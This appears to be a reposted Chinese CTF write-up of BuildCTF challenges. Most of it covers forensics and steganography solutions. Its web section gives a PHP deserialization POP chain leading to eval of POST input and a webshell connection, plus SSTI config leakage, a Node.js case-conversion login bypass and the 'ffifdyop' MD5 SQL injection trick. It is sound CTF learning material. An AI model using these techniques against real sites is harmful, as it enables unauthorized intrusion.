BuildCTF-sorin-wp(part)

news/2024/11/14 10:52:26/文章来源:https://www.cnblogs.com/Yakas-sorin/p/18536284

BuildCTF部分题目wp

队员:sorin

  1. EZ_ZIP

1

010查找分析发现压缩包,使用foremost分离

2

3

疑似套娃压缩包,使用开源软件extractnow或者脚本都可以批量压缩,这里使用extractnow

4

得到flag

5

  1. HEX的秘密

16进制每两位截取一次转10进制,对比Build的前几个字符的ascll码发现多了128,脚本如下:

def hex_str(str):#对字符串进行切片操作,每两位截取  

    hex_str_list=[]  

    for i in range(0,len(str)-1,2):  

        hex_str=str[i:i+2]  

        hex_str_list.append(hex_str)  

    print("hex列表:%s\n"%hex_str_list)  

    hex_to_str(hex_str_list)  

 

def hex_to_str(hex_str_list):  

    int_list=[]  

    dec_list=[]  

    flag=''  

    for i in range(0,len(hex_str_list)):#把16进制转化为10进制  

        int_str=int('0x%s'%hex_str_list[i],16)  

        int_list.append(int_str)  

        dec_list.append(int_str-128)#-128得到正确的ascii码  

    for i in range(0,len(dec_list)):#ascii码转化为字符串  

        flag += chr(dec_list[i])  

    print("转化为十进制int列表:%s\n"%int_list)  

    print("-128得到ASCII十进制dec列表:%s\n"%dec_list)  

    print('最终答案:%s'%flag)  

 

if __name__=='__main__':  

    str='c2f5e9ece4c3d4c6fbb3c5fafadfc1b5e3a1a1dfe2e9eee1f2f9f9f9fd'  

    print("字符串长度:%s"%len(str))  

    hex_str(str)

运行即可

1

  1. what is this?

打开发现是一大串二进制码

1

转16进制

6363632c70707070702c6363707063702c702c636363632c63707070702c6363632c6363707063702c63707070702c63636363632c6363707063702c70702c70707070702c6370632c63636363632c632c6363707063702c706370632c70707070702c7063632c632c6363707063702c7063706370702c706370637070

转ascll:
33

逗号分割,两个字符,怀疑是摩斯,用在线网站:

https://morsecodemagic.com/zh/%e8%87%aa%e5%ae%9a%e4%b9%89%e6%91%a9%e5%b0%94%e6%96%af%e7%94%b5%e7%a0%81/

得到flag

4

  1. 别真给我开盒了哥

打开是一张道路图,重点关注路牌

1

信息有北京1km,右转去德州,S3901,出口60

在地图上搜索S3901

3

是京德高速,在b站上可以找到很新的高速pov

4

观察路段并没有发现出口60,且观察到主路上每个出口间的数字跳转很大,猜测可能路牌在其他路进入京德高速的路口上,很容易观察到在京德高速旁边有一条刚好旁边有铁路的道路S3700津雄高速

5

在b站上可以找到pov

6

成功找到路牌,确定位置,观察旁边的铁路

8

9

取津保铁路提交

  1. 四妹你听我解释

1

010打开末尾发现异常,提取txt

2

获得一部分密文,结合图片信息,进行宽高爆破

3

获得后半部分,社会主义核心价值观解密得到flag

5

  1. 四妹?还是萍萍呢?

解压发现是一些拼图和一个png图片

010分析发现password字眼

2

且IDAT块后面是0304,怀疑是压缩包,补上504B后用foremost提取

3

成功提取zip,提示公众号回复password

4

拼图得到

屏幕截图 2024-10-15 004023

公众号回复得到St7wg.

解压得到base64格式的乱码

5

用随波逐流转png格式得到图片

6

010分析提示crc错误,直接爆破crc修复宽高得到

7

  1. 如果再来一次,还会选择我吗?

010分析发现png格式两两倒转

1

提取为hex.txt,用记事本查找功能去除空格

2

脚本如下:

def reverse_hex_groups(input_file, output_file='flag.txt'):

    try:

        # 打开并读取输入文件

        with open(input_file, 'r') as file:

            hex_string = file.read().strip()  # 去除首尾空白符或换行符

        # 处理字符串:每两个字符为一组,然后每读取两组反转一次

        result = []

        for i in range(0, len(hex_string), 4):  # 每次跳过4个字符

            # 取出四个字符并反转前两组与后两组的位置

            group = hex_string[i:i+4]

            if len(group) == 4:

                reversed_group = group[2:] + group[:2]

                result.append(reversed_group)

            else:

                # 如果最后不足4个字符,则直接添加剩余部分

                result.append(group)

        # 将结果列表转换为字符串

        processed_hex = ''.join(result)

        # 将处理后的字符串写入输出文件

        with open(output_file, 'w') as file:

            file.write(processed_hex)

        print(f"处理完成,结果已保存至 {output_file}")

reverse_hex_groups('hex.txt')

得到正常文件

3

使用脚本移除换行符

# 读取文件并去除换行符

with open('flag.txt', 'r') as file:

    content = file.read().replace('\n', '')

# 将处理后的内容写回文件

with open('flag.txt', 'w') as file:

    file.write(content)

print("换行符已成功移除!")

得到

5

赛博厨子直接恢复文件

4

得到

3

用密码解压得到

损坏的条形码

4

这里分享一个能够自动检测修复条形码的网站

https://products.aspose.app/barcode/zh-hans/recognize#

5

这里顶着一大堆红线直接干出来了(不是

8、白白的真好看

解压得到

1

这边从docx文件入手,解除隐藏+改变字体颜色得到

6

接下来是0宽字符隐写,用在线网站

https://www.mzy0.com/ctftools/zerowidth1/

7

获得第二部分

接下来关注“公众号回复雪试试呢.png”文件,了解信息得到该图片为汉信码

https://tuzim.net/zxdecode/

解码得到

8

通过文件名“公众号”可知,该网址是由微信授权的,应当用微信能够解码的方式打开,于是将该解码内容加密为二维码

9

微信扫码回复雪得到密码snowsnow

解码可得第三部分 _1s_n0t_wh1t3}

9、LovePopChain

打开网站是一个经典的反序列化漏洞

1

链子如下:

<?php

class MyObject{

    public $NoLove;

    public $Forgzy;

    public function __wakeup()

    {

        if($this->NoLove == "Do_You_Want_Fl4g?"){

            echo 'Love but not getting it!!';

        }

    }

    public function __invoke()

    {

        $this->Forgzy = clone new GaoZhouYue();

    }

}

class GaoZhouYue{

    public $Yuer;

    public $LastOne;

    public function __clone()

    {

        echo '最后一次了, 爱而不得, 未必就是遗憾~~';

        eval($_POST['y3y4']);

    }

}

class hybcx{

    public $JiuYue;

    public $Si;

    public function __call($fun1,$arg){

        $this->Si->JiuYue=$arg[0];

    }

    public function __toString(){

        $ai = $this->Si;

        echo 'I W1ll remember you';

        return $ai();

    }

}

$M=new MyObject();

$M->NoLove=new hybcx();

$M->NoLove->Si=new MyObject();

$M->NoLove->Si->Forgzy=new GaoZhouYue();

echo urlencode(serialize($M));

?>

成功回显,这边要注意,No_Need.For.Love在赋值的时候务必要把_转成[,因为在传递参数时,’[‘会因为找不到’]’而被编成_,并连带这后面的字符一起原封不动的传递,这样就避免了后面的.在传参的过程中出现问题

2

直接使用蚁剑连接

3

得到flag4

  1. RedFlag

1

过滤了小括号,但是很重要的是它将flag放在config当中

使用内置函数url_for可以很好的绕过限制

传参

4

观察到

3

current应该指的是当前app,直接访问当前app的config

5

6

  1. Why_so_serials?

打开网站

1

很经典的反序列化逃逸

这里我们需要通过joker到batman的增加字符覆盖crime的内容,让它变成true

也就是让city的序列化内容

2

中的0变成1,观察到要覆盖的内容的字数为19,即joker19次,所以最终的payload为:

3

成功逃逸

4

  1. eazyl0gin

Node.js的大小写替换漏洞

5

使用特殊字符 ı 可以在转换大写时转化为I,从而绕过

密码直接在线网站破解md5得到012346

得到

7

13、ez_md5

进入页面

1

Sql加MD5,可以使用特殊值ffifdyop绕过

2

前两个参数直接使用数组绕过,第三个参数根据提示访问robots.txt得到

3

Hashcat爆破得到密码1145146803531

所以最终payload为(同样注意赋值传参问题

4

14、find-the-id

直接使用yakit抓包爆破

5

7

6

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/829150.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入解析 Transformers 框架(四):Qwen2.5/GPT 分词流程与 BPE 分词算法技术细节详解

本文深入解析 Qwen2.5 大语言模型的分词流程和 BPE 分词算法。通过中英文混合文本示例,详细介绍了从文本规范化、初步分词、字节编码与映射到 BPE 分词的每一步骤。结合代码实现,揭示了 Qwen2.5 如何高效处理多语言文本,帮助读者全面理解 BPE 分词算法的原理和应用……前面我…

37 机器人

机器人由计算机控制的机器,可编程机器人

鸿蒙项目实战(三):自定义弹窗开发实践

自定义弹窗选型 合理选择不同的系统能力实现弹窗,有利于提升应用开发效率,实现更好的功能需求,因此了解自定义弹窗的选型和差异非常重要。在应用开发中,为了选择出合适的弹窗选型,从使用场景上,需要重点关注以下两点:弹窗与界面代码解耦 在开发业务逻辑时,例如遇到一些…

换根 DP

树形 DP 中的换根 DP 问题又被称为二次扫描,通常需要求以每个点为根时某个式子的答案。 这一类问题通常需要遍历两次树,第一次遍历先求出以某个点(如 \(1\))为根时的答案,在第二次遍历时考虑由根为 \(u\) 转化为根为 \(v\) 时答案的变化(换根)。这个变化往往分为两部分,…

学习笔记(三十):ArkUi-UIContext.getPromptAction(弹窗)

概述: 基于promptAction弹窗演进而来,支持全局自定义弹窗,不依赖UI组件,依赖UIContext, 支持在非页面文件中使用,弹窗内容支持动态修改,支持自定义弹窗圆角半径、大小和位置, 适合在与页面解耦的全局弹窗、自定义弹窗显示和退出动画等场景下使用。 注意: 需先使用UICo…

MudBlazor:基于Material Design风格开源且强大的Blazor组件库

项目介绍 MudBlazor是一个基于Material Design风格开源、免费(MIT License)、功能强大的Blazor组件框架,注重易用性和清晰的结构。它非常适合想要快速构建Web应用程序的 .NET 开发人员,无需费力地处理 CSS 和 JavaScript。由于MudBlazor完全使用C#编写,因此你可以自由地调…

读数据工程之道:设计和构建健壮的数据系统32序列化和云网络

序列化和云网络1. 序列化 1.1. 仅仅通过从CSV转换到Parquet序列化,任务性能就提高了上百倍 1.2. 基于行的序列化1.2.1. 基于行的序列化是按行来组织数据1.2.2. 对于那些半结构化的数据(支持嵌套和模式变化的数据对象)​,基于行的序列化需要将每个对象作为一个单元来存储1.2…

入门龙芯旧世界汇编指令

我是龙芯汇编指令新手,本文是我学习龙芯汇编的笔记我借到了一台宝贵的龙芯 3A6000 设备,我期望在这台设备上面学习龙芯汇编指令。这台设备上的是龙芯旧世界的麒麟系统,由于这台设备很宝贵,我不能随意玩。为了防止弄坏设备,我将在此设备上面搭建 docker 环境,进入到 docke…

促进通用跨域检索中广义知识的模拟

促进通用跨域检索中广义知识的模拟ProS:促进通用跨域检索中广义知识的模拟通用跨域检索(UCDR)的目标是在广义测试场景中实现稳健的性能,其中数据在训练过程中可能属于严格未知的域和类别。最近,具有快速调整的预训练模型显示出很强的泛化能力,并在各种下游任务中取得了显著…

ParamISP:使用相机参数学习正向和反向ISP

ParamISP:使用相机参数学习正向和反向ISPRAW图像很少被共享,主要是因为与相机ISP获得的sRGB图像相比,RAW图像的数据量过大。最近已经证明,学习相机ISP的正向和反向过程,可以对输入的sRGB图像进行具有物理意义的RAW级图像处理。然而,现有的基于学习的ISP方法,无法处理ISP…

thinkphp console 命令行打印错误调用堆栈

在think\Console源文件里找到 run() 方法,加上内容: $output->error($e->getTraceAsString()); 然后当执行命令报错的时候就会有详细的错误信息,方便排查具体是哪行引起的问题!本文来自博客园,作者:imzhi,转载请注明原文链接:https://www.cnblogs.com/imzhi/p/18…

信道的极限容量

我们可以简单地将带通信道理解为无线传输信道,低通信道理解为有线传输信道,记忆公式时应该记住乘2的那个调制速度就是波特率